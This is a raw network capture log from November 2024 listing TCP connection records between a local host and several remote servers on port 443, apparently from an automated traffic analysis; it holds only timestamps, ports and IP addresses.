Nov 20, 2024 00:19:12.891124964 CET	49729	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.891144991 CET	443	49729	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.891155958 CET	443	49729	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.891163111 CET	49728	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.891169071 CET	443	49728	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.894562960 CET	49734	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.894607067 CET	443	49734	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.894675970 CET	49734	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.895267963 CET	49735	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.895286083 CET	443	49735	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.895340919 CET	49735	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.895597935 CET	49734	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.895616055 CET	443	49734	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.895715952 CET	49735	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.895730019 CET	443	49735	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.898785114 CET	443	49731	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.898933887 CET	443	49731	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.899015903 CET	49731	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.899017096 CET	49731	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.899045944 CET	49731	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.899060965 CET	443	49731	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.901336908 CET	49736	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.901412964 CET	443	49736	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.901479959 CET	49736	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.901611090 CET	49736	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.901643991 CET	443	49736	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.931365013 CET	443	49730	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.931504965 CET	443	49730	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.931557894 CET	49730	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.931843996 CET	49730	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.931857109 CET	443	49730	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.931866884 CET	49730	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.931871891 CET	443	49730	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.935617924 CET	49737	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.935661077 CET	443	49737	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:12.935748100 CET	49737	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.935888052 CET	49737	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:12.935905933 CET	443	49737	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.274195910 CET	49738	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:13.274250984 CET	443	49738	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:13.274318933 CET	49738	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:13.274908066 CET	49738	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:13.274925947 CET	443	49738	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:13.332140923 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:13.332257986 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.333514929 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.333520889 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:13.334536076 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:13.335858107 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.336642981 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.336674929 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:13.336771965 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.336806059 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:13.336915970 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.337002993 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:13.337136984 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.337162971 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:13.337299109 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.337327003 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:13.337481022 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.337497950 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:13.337507963 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.337645054 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.337663889 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.348319054 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:13.348479986 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.348531961 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:13.348531961 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.348546028 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.348618031 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:13.348681927 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.348712921 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.348738909 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.348763943 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:13.348849058 CET	49732	443	192.168.2.6	188.114.97.3
Nov 20, 2024 00:19:13.348880053 CET	443	49732	188.114.97.3	192.168.2.6
Nov 20, 2024 00:19:13.541030884 CET	443	49733	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.541646004 CET	49733	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.541666031 CET	443	49733	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.541997910 CET	49733	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.542001963 CET	443	49733	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.567984104 CET	443	49734	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.568592072 CET	49734	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.568636894 CET	443	49734	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.569015026 CET	49734	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.569021940 CET	443	49734	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.570599079 CET	443	49736	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.570961952 CET	49736	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.570992947 CET	443	49736	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.571625948 CET	49736	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.571631908 CET	443	49736	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.581387043 CET	443	49735	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.581661940 CET	49735	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.581679106 CET	443	49735	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.581975937 CET	49735	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.581984043 CET	443	49735	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.621983051 CET	443	49737	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.622601986 CET	49737	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.622632027 CET	443	49737	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.623099089 CET	49737	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.623104095 CET	443	49737	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.646265984 CET	443	49733	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.646336079 CET	443	49733	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.646413088 CET	49733	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.646632910 CET	49733	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.646632910 CET	49733	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.646647930 CET	443	49733	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.646656990 CET	443	49733	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.649564028 CET	49739	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.649605036 CET	443	49739	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.649701118 CET	49739	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.649864912 CET	49739	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.649879932 CET	443	49739	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.675651073 CET	443	49734	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.675720930 CET	443	49734	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.675786972 CET	49734	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.675889969 CET	49734	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.675889969 CET	49734	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.675908089 CET	443	49734	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.675919056 CET	443	49734	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.678112030 CET	49740	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.678162098 CET	443	49740	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.678246021 CET	49740	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.678380966 CET	49740	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.678399086 CET	443	49740	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.679306030 CET	443	49736	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.679480076 CET	443	49736	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.679538965 CET	49736	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.679582119 CET	49736	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.679582119 CET	49736	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.679610968 CET	443	49736	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.679640055 CET	443	49736	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.681960106 CET	49741	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.682024002 CET	443	49741	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.682105064 CET	49741	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.682230949 CET	49741	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.682250977 CET	443	49741	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.692401886 CET	443	49735	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.692477942 CET	443	49735	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.692612886 CET	49735	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.692612886 CET	49735	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.692672014 CET	49735	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.692681074 CET	443	49735	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.694428921 CET	49742	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.694448948 CET	443	49742	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.694521904 CET	49742	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.694649935 CET	49742	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.694667101 CET	443	49742	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.732795000 CET	443	49737	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.732945919 CET	443	49737	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.733025074 CET	49737	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.733053923 CET	49737	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.733053923 CET	49737	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.733067989 CET	443	49737	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.733077049 CET	443	49737	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.735111952 CET	49743	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.735169888 CET	443	49743	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:13.735253096 CET	49743	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.735461950 CET	49743	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:13.735491037 CET	443	49743	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.095920086 CET	443	49738	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:14.096059084 CET	49738	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:14.097914934 CET	49738	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:14.097922087 CET	443	49738	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:14.098138094 CET	443	49738	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:14.100598097 CET	49738	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:14.100768089 CET	49738	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:14.100773096 CET	443	49738	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:14.100940943 CET	49738	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:14.147326946 CET	443	49738	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:14.277313948 CET	443	49738	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:14.277822971 CET	49738	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:14.277822971 CET	49738	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:14.277837992 CET	443	49738	40.113.103.199	192.168.2.6
Nov 20, 2024 00:19:14.277905941 CET	49738	443	192.168.2.6	40.113.103.199
Nov 20, 2024 00:19:14.324431896 CET	443	49739	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.328547001 CET	49739	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.328581095 CET	443	49739	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.329010010 CET	49739	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.329015970 CET	443	49739	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.348653078 CET	443	49740	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.349106073 CET	49740	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.349128962 CET	443	49740	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.349530935 CET	49740	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.349538088 CET	443	49740	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.355284929 CET	443	49741	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.356719971 CET	49741	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.356733084 CET	443	49741	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.357132912 CET	49741	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.357139111 CET	443	49741	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.370837927 CET	443	49742	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.372800112 CET	49742	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.372807980 CET	443	49742	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.373193979 CET	49742	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.373198986 CET	443	49742	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.397049904 CET	443	49743	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.400685072 CET	49743	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.400695086 CET	443	49743	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.401060104 CET	49743	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.401065111 CET	443	49743	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.430885077 CET	443	49739	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.430947065 CET	443	49739	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.431132078 CET	49739	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.431171894 CET	49739	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.431171894 CET	49739	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.431194067 CET	443	49739	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.431202888 CET	443	49739	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.433793068 CET	49744	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.433815002 CET	443	49744	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.433891058 CET	49744	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.434035063 CET	49744	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.434046984 CET	443	49744	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.452852011 CET	443	49740	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.452909946 CET	443	49740	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.453053951 CET	49740	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.453089952 CET	49740	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.453089952 CET	49740	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.453109980 CET	443	49740	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.453121901 CET	443	49740	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.455585957 CET	49745	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.455665112 CET	443	49745	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.455755949 CET	49745	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.455910921 CET	49745	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.455944061 CET	443	49745	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.458311081 CET	443	49741	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.458378077 CET	443	49741	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.458522081 CET	49741	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.458543062 CET	49741	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.458554983 CET	443	49741	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.458570004 CET	49741	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.458575964 CET	443	49741	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.460386038 CET	49746	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.460407019 CET	443	49746	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.460469961 CET	49746	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.460604906 CET	49746	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.460619926 CET	443	49746	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.475902081 CET	443	49742	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.475989103 CET	443	49742	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.476119995 CET	49742	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.476160049 CET	49742	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.476160049 CET	49742	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.476178885 CET	443	49742	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.476192951 CET	443	49742	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.478435040 CET	49747	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.478490114 CET	443	49747	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.478573084 CET	49747	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.478729963 CET	49747	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.478748083 CET	443	49747	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.501148939 CET	443	49743	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.501296043 CET	443	49743	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.504884005 CET	49743	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.510649920 CET	49743	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.510665894 CET	443	49743	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.510679007 CET	49743	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.510684967 CET	443	49743	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.513724089 CET	49748	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.513742924 CET	443	49748	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:14.513834000 CET	49748	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.513959885 CET	49748	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:14.513973951 CET	443	49748	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.105416059 CET	443	49744	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.110745907 CET	49744	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.110773087 CET	443	49744	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.111193895 CET	49744	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.111198902 CET	443	49744	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.112643957 CET	443	49745	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.114350080 CET	49745	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.114381075 CET	443	49745	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.114774942 CET	49745	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.114783049 CET	443	49745	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.119389057 CET	443	49746	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.122355938 CET	49746	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.122376919 CET	443	49746	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.122731924 CET	49746	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.122739077 CET	443	49746	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.138998985 CET	443	49747	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.141078949 CET	49747	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.141134977 CET	443	49747	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.141495943 CET	49747	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.141527891 CET	443	49747	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.178195953 CET	443	49748	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.182463884 CET	49748	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.182488918 CET	443	49748	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.182919025 CET	49748	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.182924032 CET	443	49748	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.211491108 CET	443	49744	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.211560965 CET	443	49744	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.211694956 CET	49744	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.216566086 CET	443	49745	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.216681004 CET	443	49745	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.216773987 CET	49745	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.217279911 CET	49744	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.217320919 CET	443	49744	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.217354059 CET	49744	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.217375040 CET	443	49744	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.218528032 CET	49745	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.218574047 CET	443	49745	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.218688965 CET	49745	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.218707085 CET	443	49745	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.222532988 CET	49749	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.222585917 CET	443	49749	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.222646952 CET	49749	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.223865986 CET	49750	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.223941088 CET	443	49750	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.224006891 CET	49750	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.224095106 CET	49749	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.224107027 CET	443	49749	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.224324942 CET	49750	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.224354029 CET	443	49750	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.226598024 CET	443	49746	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.226665974 CET	443	49746	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.226722956 CET	49746	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.226838112 CET	49746	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.226847887 CET	443	49746	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.226861954 CET	49746	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.226866961 CET	443	49746	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.228622913 CET	49751	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.228646994 CET	443	49751	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.228712082 CET	49751	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.228810072 CET	49751	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.228821993 CET	443	49751	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.242511988 CET	443	49747	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.242583036 CET	443	49747	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.242651939 CET	49747	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.242849112 CET	49747	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.242849112 CET	49747	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.242882967 CET	443	49747	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.242909908 CET	443	49747	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.244841099 CET	49752	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.244877100 CET	443	49752	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.245002031 CET	49752	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.245162964 CET	49752	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.245174885 CET	443	49752	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.283201933 CET	443	49748	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.283272028 CET	443	49748	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.283328056 CET	49748	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.283458948 CET	49748	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.283474922 CET	443	49748	13.107.246.45	192.168.2.6
Nov 20, 2024 00:19:15.283492088 CET	49748	443	192.168.2.6	13.107.246.45
Nov 20, 2024 00:19:15.283499002 CET	443	49748	13.107.246.45	192.168.2.6
